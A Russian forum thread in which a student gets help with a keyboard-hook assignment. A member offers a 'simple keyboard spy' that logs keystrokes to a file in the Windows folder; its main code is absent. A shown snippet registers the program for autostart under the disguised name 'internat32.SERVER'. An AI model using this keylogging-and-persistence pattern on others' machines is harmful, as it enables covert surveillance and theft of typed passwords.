![]() |
Модераторы: feodorv, GremlinProg, xvr, Fixin |
![]() ![]() ![]() |
|
PrettyGirl |
|
|||
Шустрый ![]() Профиль Группа: Участник Сообщений: 62 Регистрация: 9.5.2006 Репутация: нет Всего: нет |
Приветик всем!!! Я сегодня первый раз посетила ваш форум. Мне очень понравилось
![]() Буду ждать сообщения в асю 215 28 48 28 Заранее спасибо. |
|||
|
||||
Pulse69 |
|
||||
Шустрый ![]() Профиль Группа: Участник Сообщений: 138 Регистрация: 28.4.2006 Где: Хабаровск Репутация: 8 Всего: 10 |
Достаточно тривиальная задача.
Вот код DLL (Перехватывает нажатия клавиш и записывает их в файл C:\Windows\KBH.LAB):
Код EXE:
Это-простейший клавиатурный шпиён. Надеюсь, всё понятно. Это сообщение отредактировал(а) Pulse69 - 10.5.2006, 07:51 --------------------
Ctrl+Alt+Reset |
||||
|
|||||
PrettyGirl |
|
|||
Шустрый ![]() Профиль Группа: Участник Сообщений: 62 Регистрация: 9.5.2006 Репутация: нет Всего: нет |
Спасибо большое! Мне это очень поможет!
Правда, тут еще появилось небольшое требование преподавательское:"было бы неплохо ещё и нажатие мыши отследить".... |
|||
|
||||
forker |
|
|||
![]() Шустрый ![]() Профиль Группа: Участник Сообщений: 56 Регистрация: 27.9.2005 Где: Долгопрудный Репутация: 1 Всего: 1 |
||||
|
||||
TeeT |
|
|||
![]() Шустрый ![]() Профиль Группа: Участник Сообщений: 52 Регистрация: 9.12.2005 Где: Нальчик Репутация: нет Всего: нет |
PrettyGirl а что именно тебе не понятно? исходников кинуть - не проблема. и ссылки на другие обсуждения. Может все таки попробуешь уточнить что именно не понятно, и мы с удовольствием тебе поможем
![]() |
|||
|
||||
Pulse69 |
|
|||
Шустрый ![]() Профиль Группа: Участник Сообщений: 138 Регистрация: 28.4.2006 Где: Хабаровск Репутация: 8 Всего: 10 |
TeeT дело говорит. Вообще про хуки очент подробно в MSDN написано.
SetWindowsHookEx. Для начала там посмотри. --------------------
Ctrl+Alt+Reset |
|||
|
||||
PrettyGirl |
|
|||
Шустрый ![]() Профиль Группа: Участник Сообщений: 62 Регистрация: 9.5.2006 Репутация: нет Всего: нет |
У меня почему-то не компилится CSIDL_WINDOWS...
SHGetSpecialFolderPath(NULL,WindowsFolder,CSIDL_WINDOWS,FALSE); hInst = (HINSTANCE)hModule; Не подскажете в чем дело?подключаю библиотеку, но....может не ту? Или что-то с си??? Pulse69, а,м б,проще записать просто в какой-ниб файл не из виндоус? Это можно сделать?Чтобы не получать папкуWindows. Преподаватель сказал,что можно просто на консоль вывести...Я не очень понимаю, как мне исправить... А то этот клочок: с регистром мне не очень понятен.... /*SAVING TO REGISTRY*/ char key[MAX_PATH]; GetModuleFileName(hInst,key,MAX_PATH); HKEY hKey; RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hKey); RegSetValueEx(hKey,"internat32.SERVER",0,REG_SZ, (LPBYTE)key,sizeof(key)); RegCloseKey(hKey); Если у вас есть идея как это переделать,напишите пож-та код..Мне завтра нужно сдать. |
|||
|
||||
GremlinProg |
|
|||
Эксперт ![]() ![]() ![]() ![]() Профиль Группа: Комодератор Сообщений: 2706 Регистрация: 9.8.2005 Где: Тюмень Репутация: 99 Всего: 106 |
чтобы использовать SHGetSpecialFolderPath нужно подключить хидер shlobj.h и библиотеку shell32.lib.
Хотя есть вполне безобидный и не требовательный аналог GetWindowsDirectory Я почитал первый пример, его вполне можно переделать на версию без реестра и без файла, только добавить хук на мышу, свяжись с разработчиком. Добавлено @ 17:53 http://msdn.microsoft.com/library/default....ndowshookex.asp тут лежит ссылка на пример использования хуков всех типов, разберись сначала с ним -------------------- "Гений всегда разумнее, чем умнее. Ум — это машина, разум — водитель этой машины." |
|||
|
||||
PrettyGirl |
|
|||
Шустрый ![]() Профиль Группа: Участник Сообщений: 62 Регистрация: 9.5.2006 Репутация: нет Всего: нет |
а как подключить библиотеку shell32.lib?
/* Получает значение 30го бита*/ inline bool BIT30(LPARAM val) { return val&0x40000000; } значение 30-го бита откуда берется? Я просто ни разу с этим не встречалась... Где и как оно сохраняется?Где-то в Виндоус? И еще не подскажите хидер для strcpy_s? |
|||
|
||||
Pulse69 |
|
||||||
Шустрый ![]() Профиль Группа: Участник Сообщений: 138 Регистрация: 28.4.2006 Где: Хабаровск Репутация: 8 Всего: 10 |
Я же писал, что это - шпион. Мне нужно было, чтобы на моём компе он запускался при загрузке WINDOWS. Этот кусок можно вообще убрать. Записывать клавиши можно в любой файл, соответственно нужно убрать код, получающий директорию Winodws. Тогда никакие библиотеки получать не надо. На консоль вывести так просто вряд ли получится, так как хук-функция вызывается в DLL, которая грузится в адресное пространство каждого процесса. Как из DLL выводить на консоль я не очень хорошо себе представляю... Лучше пиши в файл. Дальше.
Если ты бы всё-таки прочитала описание в MSDN, то нашла бы там такую информацию: ... LRESULT CALLBACK KeyboardProc( int code, WPARAM wParam, LPARAM lParam // в эту переменную передаются флаги состояния клавиши (32 бита ) ); .... lParam [in] Specifies the repeat count, scan code, extended-key flag, context code, previous key-state flag, and transition-state flag. For more information about the lParam parameter, see Keystroke Message Flags. This parameter can be one or more of the following values. .... 30 Specifies the previous key state. The value is 1 if the key is down before the message is sent; it is 0 if the key is up. 31 Specifies the transition state. The value is 0 if the key is being pressed and 1 if it is being released. .... Тебе в функцию передаётся 32х разрядное значение, содержащее флаги. Соответственно, 30й бит указывает на то, была ли нажата или отпущена пред тем, как пришло сообщение. 31й бит указывает, нажимают ли сейчас клавишу, или отпускают. В принципе можно было использовать и такой код
ничего бы не изменилось. И насчётstrcpy_s: Я писал это в MSVS 2005, там вместо стандартных ф-ций strcpy, sprintf, strcat, и т.д. рекомендуется использовать более защищённые аналоги strcpy_s, sprintf_s. Если компилируешь в другой среде, меняй их на стандартные. strcpy_s( char *toBuf, size_t dstSize, const char *source ); strcpy( char *toBuf, const char *source ); --------------------
Ctrl+Alt+Reset |
||||||
|
|||||||
jonie |
|
||||||
Эксперт ![]() ![]() ![]() ![]() Профиль Группа: Завсегдатай Сообщений: 5613 Регистрация: 21.8.2005 Где: Владимир Репутация: 7 Всего: 118 |
микро (иначе не назвать) dll-ка для хука (ASM):
def файо для нее
компилить так
ну а в основной программе - грузите dll-ку, вызываете установку хука из нее с параметром HWND окна что будет получать сообщение WM_KEYBOARDHOOK и соответвенно WPARAM и LPARAM.... выделение нужного из них описано выше. ----------- DllEntry кста идейно не нужна....) Это сообщение отредактировал(а) jonie - 20.5.2006, 15:49 -------------------- Что-то не поняли? -> Напейтесь до зеленых человечков... эта сверхцивилизация Вам поможет... |
||||||
|
|||||||
GremlinProg |
|
|||
Эксперт ![]() ![]() ![]() ![]() Профиль Группа: Комодератор Сообщений: 2706 Регистрация: 9.8.2005 Где: Тюмень Репутация: 99 Всего: 106 |
Гут, только PostMessage нужно дополнительно проверить, вернее завести цикл пока PostMessage не вернет TRUE, либо просто отправить SendMessage. Момент редкий, но если в момент нажатия клавиши ты будешь к примеру вертеть скролл, или колесо мышы, хук будет выполнен, а PostMessage - нет. Еще, при nCode < 0 хук обрабатывать не нужно. Для hWnd нужно проверку на 0 устроить. Нулем оно могет быть только в случае, если окно дочернее, в этом случае оно имеет фокус, т.е. нужно нспользовать GetFocus. Чтобы не было проблем с системными сообщениями, лучше зарегистрировать в системе персональное сообщение для хука функцией RegisterWindowMessage и его отсылать в окно. В целом - не дурно, главное - ни чего лишнего ).
-------------------- "Гений всегда разумнее, чем умнее. Ум — это машина, разум — водитель этой машины." |
|||
|
||||
jonie |
|
||||
Эксперт ![]() ![]() ![]() ![]() Профиль Группа: Завсегдатай Сообщений: 5613 Регистрация: 21.8.2005 Где: Владимир Репутация: 7 Всего: 118 |
писалось когда я только начинал писать на asm и даже не знал о С++ ))...года два назад....
-------------------- Что-то не поняли? -> Напейтесь до зеленых человечков... эта сверхцивилизация Вам поможет... |
||||
|
|||||
GremlinProg |
|
|||
Эксперт ![]() ![]() ![]() ![]() Профиль Группа: Комодератор Сообщений: 2706 Регистрация: 9.8.2005 Где: Тюмень Репутация: 99 Всего: 106 |
Упс, не заметил hWnd, я не об этом, ладно, не важно. -------------------- "Гений всегда разумнее, чем умнее. Ум — это машина, разум — водитель этой машины." |
|||
|
||||
![]() ![]() ![]() |
Правила форума "C/C++: Системное программирование и WinAPI" | |
|
На данный раздел распространяются Правила форума и Правила раздела С++:Общие вопросы . Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Chipset, Step, Fixin, GremlinProg, xvr. feodorv. |
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей) | |
0 Пользователей: | |
« Предыдущая тема | C/C++: Системное программирование и WinAPI | Следующая тема » |
|
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности Powered by Invision Power Board(R) 1.3 © 2003 IPS, Inc. |